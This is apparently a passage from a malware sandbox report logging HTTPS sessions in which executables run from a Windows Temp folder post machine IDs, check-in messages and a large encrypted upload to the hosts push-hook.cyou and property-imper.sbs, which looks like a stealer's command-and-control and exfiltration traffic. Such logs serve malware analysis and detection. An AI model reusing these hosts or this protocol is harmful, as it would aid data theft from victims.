2024-11-24 13:24:28 UTC	1014	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mgc9v8iq2091fpfgtdl33gps3r; expires=Thu, 20-Mar-2025 07:11:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YLloztk9tcD0vcSA9dX0S2IbUYOilNQIQfQKVBNpvkzi%2BEmkI%2Fb8Jtn9LxqMxRY21Cehy0RbIVj1xfKLt2taRbuEVJfM8QpyGOYWC7a2uDqfCxLkXgYIpKT4ns78mP1evQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b8249ba1efa1-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2837&recv_bytes=21389&delivery_rate=1578378&cwnd=152&unsent_bytes=0&cid=f9d1408d8cdf7872&ts=1769&x=0"
2024-11-24 13:24:28 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:24:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49812	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:30 UTC	275	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=MSF8ULERMECHWQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1232 Host: push-hook.cyou
2024-11-24 13:24:30 UTC	1232	OUT	Data Raw: 2d 2d 4d 53 46 38 55 4c 45 52 4d 45 43 48 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 4d 53 46 38 55 4c 45 52 4d 45 43 48 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4d 53 46 38 55 4c 45 52 4d 45 43 48 57 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 4d 53 46 38 55 4c 45 52 4d Data Ascii: --MSF8ULERMECHWQContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--MSF8ULERMECHWQContent-Disposition: form-data; name="pid"1--MSF8ULERMECHWQContent-Disposition: form-data; name="lid"FATE99--test--MSF8ULERM
2024-11-24 13:24:30 UTC	1020	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=h80g162c83vknk02lodr5dnab6; expires=Thu, 20-Mar-2025 07:11:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zRy2QJbqj%2F9%2B5PxbYhD8%2BQ%2Fuw4TnZwMfPOkLtYxGSkCfdh0DH6rcHsmmbcgflZZIHqfUSQKMH0vEQwZ%2BvohNFnw2w0lt4T7VV2Y%2FwD7I33OUSeUxe1xmAv6A%2BLbV2TeGbQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b83a2afb443e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1615&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2143&delivery_rate=1740166&cwnd=194&unsent_bytes=0&cid=d34f20ae9a36e016&ts=704&x=0"
2024-11-24 13:24:30 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 37 35 0d 0a Data Ascii: eok 8.46.123.75
2024-11-24 13:24:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49819	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:32 UTC	274	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=ZQO5IZUY1DO User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 568234 Host: push-hook.cyou
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 2d 2d 5a 51 4f 35 49 5a 55 59 31 44 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 0d 0a 2d 2d 5a 51 4f 35 49 5a 55 59 31 44 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 5a 51 4f 35 49 5a 55 59 31 44 4f 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 46 41 54 45 39 39 2d 2d 74 65 73 74 0d 0a 2d 2d 5a 51 4f 35 49 5a 55 59 31 44 4f 0d 0a 43 6f 6e 74 65 Data Ascii: --ZQO5IZUY1DOContent-Disposition: form-data; name="hwid"8E2B0E67CED2B7B7D7CBBD6DF28D3732--ZQO5IZUY1DOContent-Disposition: form-data; name="pid"1--ZQO5IZUY1DOContent-Disposition: form-data; name="lid"FATE99--test--ZQO5IZUY1DOConte
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f 07 db 9c ef 96 f6 5f e5 ab fb f8 73 40 d2 d2 08 73 e2 b4 f3 ae 27 a9 a8 ff 50 6c 5d 85 d2 b5 16 6a 06 95 e2 86 7e 23 94 8f Data Ascii: W>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM.__s@s'Pl]j~#
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 49 ef 49 45 8c 94 90 b9 4c 58 09 d8 3b c0 22 26 ee 23 79 73 0a 98 11 48 20 7b f5 78 32 bf 7e 23 5d 02 9a d0 ae 25 37 a8 d7 Data Ascii: iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM%T<_/5IIELX;"&#ysH {x2~#]%7
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad f5 8c a1 2f a4 fe 4f c4 8b 43 a4 16 80 59 44 b3 e3 f4 50 3b c1 c1 c5 9f ee e9 e8 f5 03 fb 77 6f c4 fd 4e a8 21 f3 73 2e 11 Data Ascii: elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R/OCYDP;woN!s.
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 a4 5b 84 e8 7b d9 35 53 3f 09 8d 4b 15 bc ce 79 1b 8f b6 3f 2f c0 5c 15 3e 68 17 aa ea b7 65 14 eb 98 8b f7 ff 56 51 fc 7f Data Ascii: Rf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG[{5S?Ky?/\>heVQ
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 f1 62 55 70 9a e1 fe 61 63 fd b0 e3 e0 46 d3 87 94 c3 e3 ec 47 95 29 2a ca d4 2c 83 3f 0a 7d 47 87 c2 7a 44 5b 0f a4 d7 87 Data Ascii: VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%PbUpacFG),?}GzD[
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 45 44 81 13 83 62 b7 ee 5a 8c 1f 15 39 24 7e 74 f5 d9 7c 43 a8 02 c9 ab 49 bb c4 84 c2 0b 0d 5d be 7b f6 b3 2f 63 66 93 b7 Data Ascii: x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MTEDbZ9$~t\|CI]{/cf
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 16 00 b7 50 68 de a5 53 ce 84 49 d1 61 57 29 99 5d 75 f9 5e dd 52 7f 93 3c a5 c6 04 4d ca 30 90 70 bd 01 d8 31 ee 4d fd 0e Data Ascii: WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8PhSIaW)]u^R<M0p1M
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 9b 56 ba ed d9 0c 29 ce 55 03 ea b5 36 42 57 0f db e3 28 56 57 e1 b2 aa 1e b8 a4 5d 98 36 98 ac 3a ce d4 1f 5f 3f 13 15 1a Data Ascii: g}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7zV)U6BW(VW]6:_?
2024-11-24 13:24:32 UTC	15331	OUT	Data Raw: 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 d1 47 b0 fa ad dc 4e 27 03 c5 b5 da 38 52 15 1f 3e 31 58 43 af 4d 6c 8e 46 18 36 f9 9b 45 f0 ae ae c8 c7 44 f6 c8 e7 85 35 Data Ascii: h7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5GN'8R>1XCMlF6ED5
2024-11-24 13:24:36 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mf1ncsgln49qdc9dilbsttjj35; expires=Thu, 20-Mar-2025 07:11:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=W9xkcngZAfqEPui6IPveV3Lze7AUUktV1RqgZ4C%2FSXTRe233d3xNLnKG3fMV7xWcqMTotPhYFLVJ2QhhYY7f8X1Mb3vR876s0W%2BH7%2B7XFuATQ0%2Fyac2JegiPHLegsljYfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b84afc19de9b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1671&sent=366&recv=595&lost=0&retrans=0&sent_bytes=2836&recv_bytes=570772&delivery_rate=1702623&cwnd=146&unsent_bytes=0&cid=70e2ad47ba0b047c&ts=3861&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49833	104.21.10.6	443	7580	C:\Users\user\AppData\Local\Temp\1008757001\r5mqFEC.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:38 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 81 Host: push-hook.cyou
2024-11-24 13:24:38 UTC	81	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 46 41 54 45 39 39 2d 2d 74 65 73 74 26 6a 3d 26 68 77 69 64 3d 38 45 32 42 30 45 36 37 43 45 44 32 42 37 42 37 44 37 43 42 42 44 36 44 46 32 38 44 33 37 33 32 Data Ascii: act=get_message&ver=4.0&lid=FATE99--test&j=&hwid=8E2B0E67CED2B7B7D7CBBD6DF28D3732
2024-11-24 13:24:38 UTC	1015	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1o1r1ch2560s8299dgqf2c0eeh; expires=Thu, 20-Mar-2025 07:11:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ALpdegH6FkdgvX%2B8L7SF1eX%2BaM8MNcHd4oD7xjeLo1SpjpvkaR3X0UjJpoF1x7YZoj%2FbUAyc9ORUOi%2Beq%2Be1yxJbW13RPn6TLOr2nuvkZc1wd1wvjdmdA4p9gRdwVb6gwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b86bae2943ab-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1538&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=979&delivery_rate=1798029&cwnd=221&unsent_bytes=0&cid=0551b2006d78cfed&ts=761&x=0"
2024-11-24 13:24:38 UTC	54	IN	Data Raw: 33 30 0d 0a 57 49 39 42 74 39 2b 49 6f 38 61 6e 54 4b 54 47 72 4f 35 32 57 47 2b 72 45 47 4b 35 39 67 39 50 50 43 62 78 63 36 43 77 73 37 4d 44 30 67 3d 3d 0d 0a Data Ascii: 30WI9Bt9+Io8anTKTGrO52WG+rEGK59g9PPCbxc6Cws7MD0g==
2024-11-24 13:24:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49834	104.21.33.116	443	7896	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:38 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 13:24:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 13:24:39 UTC	1021	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=cqbnu4u5657epss7prp64e8gpl; expires=Thu, 20-Mar-2025 07:11:18 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aOrl8luHfev6iNHyekNcgBWdU%2FjU5o%2BOeH9Tqfoz3eVsIw2%2Bce5Isr%2FVCPGRm7Qy3m7HAoCmy%2FHARFJH3tPJAE%2FqWsNY7mU7TtLFW4VVsPKTw0DiGYpOKckPCfHf%2Bm4EW1zroj4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b86f3d6a42ac-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1632&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2844&recv_bytes=909&delivery_rate=1794714&cwnd=211&unsent_bytes=0&cid=284ce142f8835707&ts=897&x=0"
2024-11-24 13:24:39 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-24 13:24:39 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49870	104.21.33.116	443	5012	C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 13:24:51 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: property-imper.sbs
2024-11-24 13:24:51 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-24 13:24:52 UTC	1013	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 13:24:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=107safglcompqaor17pltcbdst; expires=Thu, 20-Mar-2025 07:11:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0tTSQsvVhXW9ekdqjXX5HXSP3WaY%2BBWdYWXPpduhXaJ1o9kaVEwfR6jVAmmdT%2BhzYdMXTl9Oob4IGt6L4nH4FIO%2BJGDRMXzzoeR95CL03rGj5cWUu5GdNIuuW76wECmtwe2gJ88%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e79b8c17c6a436a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1624&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1776155&cwnd=176&unsent_bytes=0&cid=3a7722d007f02c40&ts=778&x=0"
2024-11-24 13:24:52 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
